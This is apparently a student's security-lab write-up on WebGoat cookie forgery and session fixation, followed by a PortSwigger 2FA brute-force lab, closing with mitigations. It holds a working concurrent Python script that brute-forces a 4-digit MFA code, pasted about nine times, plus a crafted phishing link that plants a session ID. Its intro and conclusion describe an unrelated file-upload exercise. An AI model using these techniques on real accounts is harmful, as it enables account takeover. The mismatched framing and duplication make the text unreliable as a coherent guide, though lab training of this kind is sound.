Analyze and exploit session-related vulnerabilities
Imagine that SecureXit has developed a web-based document submission portal where users can upload their resumes, profile pictures, certificates, and other documents.
The portal is designed to accept only approved file types, such as JPG, PNG, and PDF. However, the application's file upload mechanism may have weak validation controls.
As a Cyber Security Analyst at SecureXit, your task is to evaluate whether an attacker could upload a file that violates the application's security policy by manipulating the HTTP request through Burp Suite.
Business Scenario
Pre-Lab Preparation
1. Lab Environment: Kali Linux and an intentionally vulnerable web application configured in an isolated virtual machine using VirtualBox or VMware.
2. Security Tools: Burp Suite Community Edition and a web browser configured to intercept and analyze HTTP requests.
3. Basic Knowledge: Understanding of HTTP requests, file upload mechanisms, MIME types, file extensions, and basic web application security.
Task 1: WebGoat Session Management Flaws
1
a
Downloaded the OWASP Broken Web Applications VM (version 1.2, released 3 Aug 2015) from VulnHub, via the SourceForge mirror link
b
Extracted the .7z archive using 7-Zip to obtain the .vmdk disk image.
c
Imported the VM into Oracle VirtualBox alongside existing machines (Kali Linux, Wazuh, metascan, hackme).
d
Configured Storage: the OWASP_Broken_Web_Apps-cl1.vmdk disk was attached to the SATA controller, with the IDE controller left empty.
e
Configured Network: Adapter 1 set to Bridged Adapter, bound to the host's wireless interface, with Promiscuous Mode set to Deny — this places the VM on the same LAN segment as the host for direct browser access.
f
Powered on the VM. The login banner confirmed access details:
Web apps: http://10.159.241.170/
Application login: username owaspbwa, password owaspbwa
g
Browsed to http://10.159.241.170 from the host browser and confirmed the owaspbwa landing page, listing the bundled training applications (WebGoat, WebGoat.NET, ESAPI SwingSet, Mutillidae II, RailsGoat, Bricks, etc.)
h
Selected OWASP WebGoat → Session Management Flaws from the left-hand menu to begin the exercises.
2
Goal: bypass WebGoat's authentication check by manipulating the AuthCookie value rather than supplying valid credentials.
3
Moved to Spoof an Authentication Cookie and logged in with the suggested test account webgoat / webgoat.
4
On login, WebGoat issued an AuthCookie with value 65432ubphcfx and a JSESSIONID, and displayed: "Welcome, webgoat – You have been authenticated with PARAMETERS."
a
Logged in again with the second suggested account, aspect / aspect. The resulting AuthCookie was 65432udfqtb.
b
Compared both cookie values side by side:
| Account | AuthCookie value |
|---|---|
| Webgoat | 65432ubphcfx |
| aspect | 65432udfqtb |
5
Observed that both cookies share the same leading block, 65432, and that the trailing characters are a simple Caesar-shifted encoding of the username:
aspect = tcepsa shift a=b,s=t,p=q,e=f,c=d,t=u => udfqtb
6
Applying the same +1 letter shift to the target username alice (a=b, l=m, i=j, c=d, e=f) gives fdjmb. Combined with the constant prefix, the forged cookie becomes 65432fdjmb.
7
Used Firefox DevTools → Storage → Cookies to edit the AuthCookie value on the live session to 65432fdjmb and refreshed the page.
The application responded: "Congratulations. You have successfully completed this lesson. Welcome, alice – You have been authenticated with COOKIE."
Result: authentication was bypassed entirely by predicting another user's cookie from its encoding pattern, with no need to know Alice's real password.
Goal: force a victim to use a session ID chosen by the attacker, then reuse that same ID after the victim authenticates to inherit their logged-in session
Task 2 : Session Fixation.
Hacker Joe crafts the phishing link
Acted as Hacker Joe, drafting a fake "Goat Hills Financial" account-verification email addressed to jane.plane@owasp.org, spoofed as from admin@webgoatfinancial.com
1
a
Edited the embedded link to append a self-chosen Session ID (SID) parameter: http://10.159.241.170/WebGoat/attack?Screen=132&menu=1800&SID=hacker_will_set_id_kadir7233
Sent the mail; WebGoat confirmed Stage 1 complete.
Victim Jane receives and opens the link
Switched to the Victim Jane view and opened the received email, which reproduced the attacker's link containing the planted SID.
Clicking the link landed on the Goat Hills Financial HR login page, confirming Stage 2 complete.
b
c
2
a
b
Victim logs in using the fixed session
Logged in as Jane with credentials Jane / tarzan while the URL still carried SID=hacker_will_set_id_kadir7233.
The application authenticated Jane without issuing a new session ID, silently binding her authenticated session to the attacker-supplied SID. WebGoat confirmed Stage 3 complete.
3
a
b
Hacker Joe reuses the fixed SID
Switched back to Hacker Joe and, before reusing the link, first tested it with an invalid SID (SID=NOVALIDSESS), which correctly returned an empty/unauthenticated login page — confirming the SID itself is what grants access.
Replayed the original crafted link — ...&SID=hacker_will_set_id_kadir7233 — the exact value planted in Stage 1.
WebGoat displayed: "Congratulations. You have successfully completed this lesson." and rendered Jane Plane's authenticated HR record directly to the attacker, including:
3
a
b
| Field | Value |
|---|---|
| First name | Jane |
| Last name | Plane |
| Credit card type | MC |
| Credit card number | 74589864 |
2FA Bypass via Brute-Force — PortSwigger Lab
PortSwigger Web Security Academy · Authentication Vulnerabilities · Multi-Factor Authentication (Expert)
Goal: You already have a valid username/password (carlos:montoya) but not the 4-digit 2FA code. Solve the lab by brute-forcing the code on /login2 and reaching Carlos's account page.
Root cause: The app places no rate limit or lockout on the 2FA verification step, so every 4-digit code (0000–9999) can be tried.
Open the lab and go to Login.
Log in with carlos / montoya.
You land on /login2, which asks for a 4-digit security code.
Submit any code (e.g. 1234) — you'll see "Incorrect security code". This confirms the endpoint responds differently for wrong vs. right codes, which is what the brute-force loop will check for.
Client Server
| GET /login (session=ABC) ----> |
| <---- CSRF=123 |
| POST /login (session=ABC) ----> |
| <---- 302 Found + Set-Cookie: session=XYZ
| GET /login2 (session=XYZ) ----> |
| <---- CSRF=456 |
With Burp's proxy intercepting, walk through the flow once manually and note each request:
| Request | Method | Key fields |
|---|---|---|
| /login | POST | csrf, username=carlos, password=montoya |
| /login2 (GET) | GET | returns page with a fresh csrf value |
| /login2 (POST) | POST | csrf=<from GET>, mfa-code=<4-digit guess> |
From HTTP history: a wrong guess returns HTTP 200 with the "Incorrect security code" page; the correct guess still returns HTTP 200 but the response body contains "Log out" instead — that's the success marker the script checks for.
Step 4 — Automate it (Python + aiohttp)
Built as an async script so many 4-digit guesses run concurrently instead of one at a time — essential since an in-browser, one-at-a-time brute force of 10,000 codes would be far too slow.
import asyncio
import aiohttp
import re
# URLs — replace with your lab instance
login_url = 'https://YOUR-LAB-ID.web-security-academy.net/login'
login2_url = 'https://YOUR-LAB-ID.web-security-academy.net/login2'
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html",
"Accept-Language": "en-US,en;q=0.6",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1"
}
found = asyncio.Event()
def extract_csrf(text):
match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
return match.group(1) if match else None
async def attempt_code(sem, i):
async with sem:
if found.is_set():
return
payload = f"{i:04d}" # zero-padded, e.g. 0001, 0754
try:
async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
# Step A: GET /login, extract CSRF for login
async with session.get(login_url, headers=headers) as r1:
html1 = await r1.text()
csrf1 = extract_csrf(html1)
if not csrf1:
print(f"[!] No CSRF token on iteration {i}")
return
# Step B: POST username+password -> new session cookie on success
login_data = {
'csrf': csrf1,
'username': 'carlos',
'password': 'montoya'
}
async with session.post(
login_url,
headers={**headers, "Referer": login_url},
data=login_data
) as r2:
await r2.text()
# Step C: GET /login2, extract its own fresh CSRF
async with session.get(login2_url, headers=headers) as r3:
html2 = await r3.text()
csrf2 = extract_csrf(html2)
if not csrf2:
print(f"[!] No CSRF token on /login2, iteration {i}")
return
# Step D: POST the 4-digit guess
mfa_data = {
'csrf': csrf2,
'mfa-code': payload
}
async with session.post(
login2_url,
headers={**headers, "Referer": login2_url},
data=mfa_data
) as r4:
html3 = await r4.text()
# Step E: success check
if 'Log out' in html3:
found.set()
cookies = session.cookie_jar.filter_cookies(login2_url)
print(f"Success! Code: {payload}")
print(f"Session Cookie: {cookies.get('session')}")
return
except Exception as e:
print(f"[!] Error in iteration {i}: {e}")
async def main():
sem = asyncio.Semaphore(10) # concurrency cap — tune to the network/lab's tolerance
tasks = [attempt_code(sem, i) for i in range(0, 10000)]
await asyncio.gather(*tasks)
if not found.is_set():
print("[*] Done. No valid code found.")
if __name__ == "__main__":
asyncio.run(main())
import asyncio
import aiohttp
import re
# URLs — replace with your lab instance
login_url = 'https://YOUR-LAB-ID.web-security-academy.net/login'
login2_url = 'https://YOUR-LAB-ID.web-security-academy.net/login2'
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html",
"Accept-Language": "en-US,en;q=0.6",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1"
}
found = asyncio.Event()
def extract_csrf(text):
match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
return match.group(1) if match else None
async def attempt_code(sem, i):
async with sem:
if found.is_set():
return
payload = f"{i:04d}" # zero-padded, e.g. 0001, 0754
try:
async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar())
as session:
# Step A: GET /login, extract CSRF for login
async with session.get(login_url, headers=headers) as r1:
html1 = await r1.text()
csrf1 = extract_csrf(html1)
if not csrf1:
print(f"[!] No CSRF token on iteration {i}")
return
# Step B: POST username+password -> new session cookie on success
login_data = {
'csrf': csrf1,
'username': 'carlos',
'password': 'montoya'
}
async with session.post(
login_url,
headers={**headers, "Referer": login_url},
data=login_data
) as r2:
await r2.text()
# Step C: GET /login2, extract its own fresh CSRF
async with session.get(login2_url, headers=headers) as r3:
html2 = await r3.text()
csrf2 = extract_csrf(html2)
if not csrf2:
print(f"[!] No CSRF token on /login2, iteration {i}")
return
# Step D: POST the 4-digit guess
mfa_data = {
'csrf': csrf2,
'mfa-code': payload
}
async with session.post(
login2_url,
headers={**headers, "Referer": login2_url},
data=mfa_data
) as r4:
html3 = await r4.text()
# Step E: success check
if 'Log out' in html3:
found.set()
cookies = session.cookie_jar.filter_cookies(login2_url)
print(f"Success! Code: {payload}")
print(f"Session Cookie: {cookies.get('session')}")
return
except Exception as e:
print(f"[!] Error in iteration {i}: {e}")
async def main():
sem = asyncio.Semaphore(10) # concurrency cap — tune to the network/lab's tolerance
tasks = [attempt_code(sem, i) for i in range(0, 10000)]
await asyncio.gather(*tasks)
if not found.is_set():
print("[*] Done. No valid code found.")
if __name__ == "__main__":
asyncio.run(main())
import asyncio
import aiohttp
import re
# URLs — replace with your lab instance
login_url = 'https://YOUR-LAB-ID.web-security-academy.net/login'
login2_url = 'https://YOUR-LAB-ID.web-security-academy.net/login2'
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html",
"Accept-Language": "en-US,en;q=0.6",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1"
}
found = asyncio.Event()
def extract_csrf(text):
match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
return match.group(1) if match else None
async def attempt_code(sem, i):
async with sem:
if found.is_set():
return
payload = f"{i:04d}" # zero-padded, e.g. 0001, 0754
try:
async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
# Step A: GET /login, extract CSRF for login
async with session.get(login_url, headers=headers) as r1:
html1 = await r1.text()
csrf1 = extract_csrf(html1)
if not csrf1:
print(f"[!] No CSRF token on iteration {i}")
return
# Step B: POST username+password -> new session cookie on success
login_data = {
'csrf': csrf1,
'username': 'carlos',
'password': 'montoya'
}
async with session.post(
login_url,
headers={**headers, "Referer": login_url},
data=login_data
) as r2:
await r2.text()
# Step C: GET /login2, extract its own fresh CSRF
async with session.get(login2_url, headers=headers) as r3:
html2 = await r3.text()
csrf2 = extract_csrf(html2)
if not csrf2:
print(f"[!] No CSRF token on /login2, iteration {i}")
return
# Step D: POST the 4-digit guess
mfa_data = {
'csrf': csrf2,
'mfa-code': payload
}
async with session.post(
login2_url,
headers={**headers, "Referer": login2_url},
data=mfa_data
) as r4:
html3 = await r4.text()
# Step E: success check
if 'Log out' in html3:
found.set()
cookies = session.cookie_jar.filter_cookies(login2_url)
print(f"Success! Code: {payload}")
print(f"Session Cookie: {cookies.get('session')}")
return
except Exception as e:
print(f"[!] Error in iteration {i}: {e}")
async def main():
sem = asyncio.Semaphore(10) # concurrency cap — tune to the network/lab's tolerance
tasks = [attempt_code(sem, i) for i in range(0, 10000)]
await asyncio.gather(*tasks)
if not found.is_set():
print("[*] Done. No valid code found.")
if __name__ == "__main__":
asyncio.run(main())
import asyncio
import aiohttp
import re
# URLs — replace with your lab instance
login_url = 'https://YOUR-LAB-ID.web-security-academy.net/login'
login2_url = 'https://YOUR-LAB-ID.web-security-academy.net/login2'
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html",
"Accept-Language": "en-US,en;q=0.6",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1"
}
found = asyncio.Event()
def extract_csrf(text):
match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
return match.group(1) if match else None
async def attempt_code(sem, i):
async with sem:
if found.is_set():
return
payload = f"{i:04d}" # zero-padded, e.g. 0001, 0754
try:
async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
# Step A: GET /login, extract CSRF for login
async with session.get(login_url, headers=headers) as r1:
html1 = await r1.text()
csrf1 = extract_csrf(html1)
if not csrf1:
print(f"[!] No CSRF token on iteration {i}")
return
# Step B: POST username+password -> new session cookie on success
login_data = {
'csrf': csrf1,
'username': 'carlos',
'password': 'montoya'
}
async with session.post(
login_url,
headers={**headers, "Referer": login_url},
data=login_data
) as r2:
await r2.text()
# Step C: GET /login2, extract its own fresh CSRF
async with session.get(login2_url, headers=headers) as r3:
html2 = await r3.text()
csrf2 = extract_csrf(html2)
if not csrf2:
print(f"[!] No CSRF token on /login2, iteration {i}")
return
# Step D: POST the 4-digit guess
mfa_data = {
'csrf': csrf2,
'mfa-code': payload
}
async with session.post(
login2_url,
headers={**headers, "Referer": login2_url},
data=mfa_data
) as r4:
html3 = await r4.text()
# Step E: success check
if 'Log out' in html3:
found.set()
cookies = session.cookie_jar.filter_cookies(login2_url)
print(f"Success! Code: {payload}")
print(f"Session Cookie: {cookies.get('session')}")
return
except Exception as e:
print(f"[!] Error in iteration {i}: {e}")
async def main():
sem = asyncio.Semaphore(10)
# concurrency cap — tune to the network/lab's tolerance
tasks = [attempt_code(sem, i) for i in range(0, 10000)]
await asyncio.gather(*tasks)
if not found.is_set():
print("[*] Done. No valid code found.")
if __name__ == "__main__":
asyncio.run(main())
import asyncio
import aiohttp
import re
# URLs and Headers
login_url = 'https://0a83001e04f8425c80d10883003a0069
.web-security-academy.net/login'
# Replace it with yours
login2_url = 'https://0a83001e04f8425c80d10883003a0069
.web-security-academy.net/login2'
# Replace it with yours
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html",
"Accept-Language": "en-US,en;q=0.6",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1"
}
found = asyncio.Event()
# Extract CSRF token
def extract_csrf(text):
match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
return match.group(1) if match else None
# Attempt MFA code
async def attempt_code(sem, i):
async with sem:
if found.is_set():
return
try:
async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
# Step 1: GET the login page and extract CSRF
async with session.get(login_url, headers=headers) as r1:
html1 = await r1.text()
csrf1 = extract_csrf(html1)
if not csrf1:
print(f"[!] No CSRF token on iteration {i}")
return
# Step 2: POST login credentials with CSRF
login_data = {
'csrf': csrf1,
'username': 'carlos',
'password': 'montoya'
}
async with session.post(
login_url,
headers={**headers, "Referer": login_url},
data=login_data,
allow_redirects=True
) as r2:
html2 = await r2.text()
mfa_csrf = extract_csrf(html2)
mfa_session = session
cookies = session.cookie_jar.filter_cookies(login_url)
mysession = cookies.get('session')
if not mfa_csrf:
print(f"[!] No MFA CSRF on iteration {i}")
return
# Step 3: Try MFA codes
payload = f"{i:04d}"
mfa_data = {
"csrf": mfa_csrf,
"mfa-code": payload
}
try:
async with mfa_session.post(
login2_url,
headers={**headers, "Referer": login2_url},
data=mfa_data,
allow_redirects=True
) as r3:
html3 = await r3.text()
status = r3.status
except aiohttp.ClientError as e:
print(f"[!] Network error for code {payload}: {e}")
if status == 200:
with open('./logs.txt', 'a') as file:
file.write(f"[{status}] Tried: {payload}, Session: {mysession.value if mysession else 'None'}, CSRF: {mfa_csrf}\n")
if status == 400:
with open('./logs.txt', 'a') as file:
file.write(f"[!] 400 Bad Request for code {payload} — Session: {mysession.value} CSRF: {mfa_csrf}\n")
if 'Log out' in html3:
found.set()
cookies = session.cookie_jar.filter_cookies(login2_url)
print(f"Success! Code: {payload}")
print(f"Session Cookie: {cookies.get('session')}")
return
except Exception as e:
print(f"[!] Error in iteration {i}: {e}")
# Main event loop
async def main():
sem = asyncio.Semaphore(10) # Max concurrent requests (Dependent on the network's capability)
tasks = [attempt_code(sem, i) for i in range(0, 10000)]
await asyncio.gather(*tasks)
if not found.is_set():
print("[*] Done. No valid code found.")
# Entry
if __name__ == "__main__":
asyncio.run(main())
import asyncio
import aiohttp
import re
# URLs and Headers
login_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login' # Replace it with yours
login2_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login2' # Replace it with yours
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html",
"Accept-Language": "en-US,en;q=0.6",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1"
}
found = asyncio.Event()
# Extract CSRF token
def extract_csrf(text):
match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
return match.group(1) if match else None
# Attempt MFA code
async def attempt_code(sem, i):
async with sem:
if found.is_set():
return
try:
async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar())
as session:
# Step 1: GET the login page and extract CSRF
async with session.get(login_url, headers=headers) as r1:
html1 = await r1.text()
csrf1 = extract_csrf(html1)
if not csrf1:
print(f"[!] No CSRF token on iteration {i}")
return
# Step 2: POST login credentials with CSRF
login_data = {
'csrf': csrf1,
'username': 'carlos',
'password': 'montoya'
}
async with session.post(
login_url,
headers={**headers, "Referer": login_url},
data=login_data,
allow_redirects=True
) as r2:
html2 = await r2.text()
mfa_csrf = extract_csrf(html2)
mfa_session = session
cookies = session.cookie_jar.filter_cookies(login_url)
mysession = cookies.get('session')
if not mfa_csrf:
print(f"[!] No MFA CSRF on iteration {i}")
return
# Step 3: Try MFA codes
payload = f"{i:04d}"
mfa_data = {
"csrf": mfa_csrf,
"mfa-code": payload
}
try:
async with mfa_session.post(
login2_url,
headers={**headers, "Referer": login2_url},
data=mfa_data,
allow_redirects=True
) as r3:
html3 = await r3.text()
status = r3.status
except aiohttp.ClientError as e:
print(f"[!] Network error for code {payload}: {e}")
if status == 200:
with open('./logs.txt', 'a') as file:
file.write(f"[{status}] Tried: {payload}, Session: {mysession.value if mysession else 'None'}, CSRF: {mfa_csrf}\n")
if status == 400:
with open('./logs.txt', 'a') as file:
file.write(f"[!] 400 Bad Request for code {payload} — Session: {mysession.value} CSRF: {mfa_csrf}\n")
if 'Log out' in html3:
found.set()
cookies = session.cookie_jar.filter_cookies(login2_url)
print(f"Success! Code: {payload}")
print(f"Session Cookie: {cookies.get('session')}")
return
except Exception as e:
print(f"[!] Error in iteration {i}: {e}")
# Main event loop
async def main():
sem = asyncio.Semaphore(10) # Max concurrent requests (Dependent on the network's capability)
tasks = [attempt_code(sem, i) for i in range(0, 10000)]
await asyncio.gather(*tasks)
if not found.is_set():
print("[*] Done. No valid code found.")
# Entry
if __name__ == "__main__":
asyncio.run(main())
import asyncio
import aiohttp
import re
# URLs and Headers
login_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login' # Replace it with yours
login2_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login2' # Replace it with yours
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html",
"Accept-Language": "en-US,en;q=0.6",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1"
}
found = asyncio.Event()
# Extract CSRF token
def extract_csrf(text):
match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
return match.group(1) if match else None
# Attempt MFA code
async def attempt_code(sem, i):
async with sem:
if found.is_set():
return
try:
async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
# Step 1: GET the login page and extract CSRF
async with session.get(login_url, headers=headers) as r1:
html1 = await r1.text()
csrf1 = extract_csrf(html1)
if not csrf1:
print(f"[!] No CSRF token on iteration {i}")
return
# Step 2: POST login credentials with CSRF
login_data = {
'csrf': csrf1,
'username': 'carlos',
'password': 'montoya'
}
async with session.post(
login_url,
headers={**headers, "Referer": login_url},
data=login_data,
allow_redirects=True
) as r2:
html2 = await r2.text()
mfa_csrf = extract_csrf(html2)
mfa_session = session
cookies = session.cookie_jar.filter_cookies(login_url)
mysession = cookies.get('session')
if not mfa_csrf:
print(f"[!] No MFA CSRF on iteration {i}")
return
# Step 3: Try MFA codes
payload = f"{i:04d}"
mfa_data = {
"csrf": mfa_csrf,
"mfa-code": payload
}
try:
async with mfa_session.post(
login2_url,
headers={**headers, "Referer": login2_url},
data=mfa_data,
allow_redirects=True
) as r3:
html3 = await r3.text()
status = r3.status
except aiohttp.ClientError as e:
print(f"[!] Network error for code {payload}: {e}")
if status == 200:
with open('./logs.txt', 'a') as file:
file.write(f"[{status}] Tried: {payload}, Session: {mysession.value if mysession else 'None'}, CSRF: {mfa_csrf}\n")
if status == 400:
with open('./logs.txt', 'a') as file:
file.write(f"[!] 400 Bad Request for code {payload} — Session: {mysession.value} CSRF: {mfa_csrf}\n")
if 'Log out' in html3:
found.set()
cookies = session.cookie_jar.filter_cookies(login2_url)
print(f"Success! Code: {payload}")
print(f"Session Cookie: {cookies.get('session')}")
return
except Exception as e:
print(f"[!] Error in iteration {i}: {e}")
# Main event loop
async def main():
sem = asyncio.Semaphore(10) # Max concurrent requests (Dependent on the network's capability)
tasks = [attempt_code(sem, i) for i in range(0, 10000)]
await asyncio.gather(*tasks)
if not found.is_set():
print("[*] Done. No valid code found.")
# Entry
if __name__ == "__main__":
asyncio.run(main())
import asyncio
import aiohttp
import re
# URLs and Headers
login_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login'
# Replace it with yours
login2_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login2'
# Replace it with yours
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html",
"Accept-Language": "en-US,en;q=0.6",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1"
}
found = asyncio.Event()
# Extract CSRF token
def extract_csrf(text):
match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
return match.group(1) if match else None
# Attempt MFA code
async def attempt_code(sem, i):
async with sem:
if found.is_set():
return
try:
async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar())
as session:
# Step 1: GET the login page and extract CSRF
async with session.get(login_url, headers=headers) as r1:
html1 = await r1.text()
csrf1 = extract_csrf(html1)
if not csrf1:
print(f"[!] No CSRF token on iteration {i}")
return
# Step 2: POST login credentials with CSRF
login_data = {
'csrf': csrf1,
'username': 'carlos',
'password': 'montoya'
}
async with session.post(
login_url,
headers={**headers, "Referer": login_url},
data=login_data,
allow_redirects=True
) as r2:
html2 = await r2.text()
mfa_csrf = extract_csrf(html2)
mfa_session = session
cookies = session.cookie_jar.filter_cookies(login_url)
mysession = cookies.get('session')
if not mfa_csrf:
print(f"[!] No MFA CSRF on iteration {i}")
return
# Step 3: Try MFA codes
payload = f"{i:04d}"
mfa_data = {
"csrf": mfa_csrf,
"mfa-code": payload
}
try:
async with mfa_session.post(
login2_url,
headers={**headers, "Referer": login2_url},
data=mfa_data,
allow_redirects=True
) as r3:
html3 = await r3.text()
status = r3.status
except aiohttp.ClientError as e:
print(f"[!] Network error for code {payload}: {e}")
if status == 200:
with open('./logs.txt', 'a') as file:
file.write(f"[{status}] Tried: {payload},
Session: {mysession.value if mysession else 'None'},
CSRF: {mfa_csrf}\n")
if status == 400:
with open('./logs.txt', 'a') as file:
file.write(f"[!] 400 Bad Request for code {payload} —
Session: {mysession.value} CSRF: {mfa_csrf}\n")
if 'Log out' in html3:
found.set()
cookies = session.cookie_jar.filter_cookies(login2_url)
print(f"Success! Code: {payload}")
print(f"Session Cookie: {cookies.get('session')}")
return
except Exception as e:
print(f"[!] Error in iteration {i}: {e}")
# Main event loop
async def main():
sem = asyncio.Semaphore(10) # Max concurrent requests
(Dependent on the network's capability)
tasks = [attempt_code(sem, i) for i in range(0, 10000)]
await asyncio.gather(*tasks)
if not found.is_set():
print("[*] Done. No valid code found.")
# Entry
if __name__ == "__main__":
asyncio.run(main())
import asyncio
import aiohttp
import re
# URLs and Headers
login_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login'
# Replace it with yours
login2_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login2'
# Replace it with yours
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html",
"Accept-Language": "en-US,en;q=0.6",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1"
}
found = asyncio.Event()
# Extract CSRF token
def extract_csrf(text):
match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
return match.group(1) if match else None
# Attempt MFA code
async def attempt_code(sem, i):
async with sem:
if found.is_set():
return
try:
async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar())
as session:
# Step 1: GET the login page and extract CSRF
async with session.get(login_url, headers=headers) as r1:
html1 = await r1.text()
csrf1 = extract_csrf(html1)
if not csrf1:
print(f"[!] No CSRF token on iteration {i}")
return
# Step 2: POST login credentials with CSRF
login_data = {
'csrf': csrf1,
'username': 'carlos',
'password': 'montoya'
}
async with session.post(
login_url,
headers={**headers, "Referer": login_url},
data=login_data,
allow_redirects=True
) as r2:
html2 = await r2.text()
mfa_csrf = extract_csrf(html2)
mfa_session = session
cookies = session.cookie_jar.filter_cookies(login_url)
mysession = cookies.get('session')
if not mfa_csrf:
print(f"[!] No MFA CSRF on iteration {i}")
return
# Step 3: Try MFA codes
payload = f"{i:04d}"
mfa_data = {
"csrf": mfa_csrf,
"mfa-code": payload
}
try:
async with mfa_session.post(
login2_url,
headers={**headers, "Referer": login2_url},
data=mfa_data,
allow_redirects=True
) as r3:
html3 = await r3.text()
status = r3.status
except aiohttp.ClientError as e:
print(f"[!] Network error for code {payload}: {e}")
if status == 200:
with open('./logs.txt', 'a') as file:
file.write(f"[{status}] Tried: {payload},
Session: {mysession.value if mysession else 'None'}, CSRF: {mfa_csrf}\n")
if status == 400:
with open('./logs.txt', 'a') as file:
file.write(f"[!] 400 Bad Request for code {payload} —
Session: {mysession.value} CSRF: {mfa_csrf}\n")
if 'Log out' in html3:
found.set()
cookies = session.cookie_jar.filter_cookies(login2_url)
print(f"Success! Code: {payload}")
print(f"Session Cookie: {cookies.get('session')}")
return
except Exception as e:
print(f"[!] Error in iteration {i}: {e}")
# Main event loop
async def main():
sem = asyncio.Semaphore(10) # Max concurrent requests
(Dependent on the network's capability)
tasks = [attempt_code(sem, i) for i in range(0, 10000)]
await asyncio.gather(*tasks)
if not found.is_set():
print("[*] Done. No valid code found.")
# Entry
if __name__ == "__main__":
asyncio.run(main())
Step 5 — Run and verify
Run the script: python "2FA bypass.py".
It logs each attempt ([200] Tried: 0754, Session: ..., CSRF: ...).
On a hit: Success! Code: 0754 plus the resulting session cookie.
Paste that 4-digit code into the lab's login page and submit — the banner changes to "Congratulations, you solved the lab!"
Result: because the application accepted a session identifier supplied externally (via URL) instead of generating a fresh one at login, the attacker who fixed the SID before authentication was able to hijack the victim's authenticated session afterward — without ever learning her password — and retrieve her personal and financial data.
Key Observations and Mitigations
We can set cookies with HttpOnly and use the Secure flags to prevent JavaScript access.
After authentication website need to regenerate the session id always.
Check the session ID remains the same before login and after authentication if the session id remain same and it is vulnerable to Session Fixation.
To mitigate session fixation in PHP, regenerate the session ID immediately upon user authentication or privilege change using session_regenerate_id(true) and harden your php.ini or runtime settings to block URL-based or uninitialized session IDs.
Token Rotation: Issue fresh tokens or refresh token families on use so that replayed or stolen legacy tokens are immediately invalidated.
Avoid Custom Formats: Never use weak, predictable string concatenations or custom encodings; rely on standard cryptographic frameworks backed by cryptographically secure pseudo-random number generators (CSPRNGs).
We can also implement the Content Security Policy (CSP) to mitigate XSS attacks on the websites or applications.
Use the SameSite=Strict cookies to prevent cross-site session fixation attacks.
Great job!
Successfully intercept and analyze file upload requests using Burp Suite.
Identify weak file validation mechanisms by testing file extensions, MIME types, and file content in the controlled lab.
Verify upload security controls, assess server-side execution risks, and document findings with appropriate mitigation recommendations.
Checkpoint
Next-Lab Preparation
Topic : Reporting and Security Practices
1) Writing vulnerability assessment and penetration testing reports